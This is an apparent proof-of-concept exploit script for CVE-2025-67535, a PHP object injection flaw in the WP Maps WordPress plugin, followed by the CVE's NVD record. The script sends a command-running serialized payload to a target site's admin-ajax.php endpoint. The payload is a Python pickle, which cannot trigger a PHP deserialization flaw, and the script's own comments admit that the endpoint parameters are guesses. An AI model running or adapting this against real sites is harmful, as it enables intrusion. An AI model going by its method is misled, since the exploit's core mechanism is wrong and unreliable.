CVE-2025-67535

# CVE-2025-67535 PHP Object Injection PoC # Target: WP Maps Plugin <= 4.8.6 # Vulnerability: Deserialization of Untrusted Data import requests import base64 import sys # Define the malicious serialized object # This example uses a generic payload structure class ExploitPayload: def __reduce__(self): # This will execute arbitrary command when deserialized import os return (os.system, ('whoami > /tmp/pwned.txt',)) def generate_payload(): """Generate malicious serialized payload""" import pickle import base64 payload = pickle.dumps(ExploitPayload()) return base64.b64encode(payload).decode() def exploit(target_url, wordpress_target_path): """ Exploit the PHP Object Injection vulnerability Args: target_url: Base URL of the target WordPress site wordpress_target_path: Path to WordPress installation (e.g., '/wp-admin/admin-ajax.php') """ # Generate malicious payload malicious_payload = generate_payload() # Prepare the exploit request # Note: Actual parameter names may vary based on plugin version exploit_data = { 'action': 'wpgmza_save_marker', # Example action - adjust based on actual vulnerable endpoint 'map_id': '1', 'marker_data': malicious_payload, # Injected serialized object } print(f"[*] Target: {target_url}") print(f"[*] Generating malicious payload...") print(f"[*] Payload (Base64): {malicious_payload}") try: # Send the exploit request response = requests.post( target_url + wordpress_target_path, data=exploit_data, timeout=10 ) print(f"[+] Request sent with status code: {response.status_code}") print(f"[+] Response: {response.text[:200]}") # Check if exploit was successful if response.status_code == 200: print("[+] Exploit request completed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_67535_poc.py <target_url>") print("Example: python cve_2025_67535_poc.py http://example.com") sys.exit(1) target = sys.argv[1] exploit(target, '/wp-admin/admin-ajax.php')

{"cve": {"id": "CVE-2025-67535", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:28.453", "lastModified": "2026-04-27T18:16:42.393", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Flipper Code - WordPress Development Company WP Maps wp-google-map-plugin allows Object Injection.This issue affects WP Maps: from n/a through <= 4.8.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-google-map-plugin/vulnerability/wordpress-wp-maps-plugin-4-8-6-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}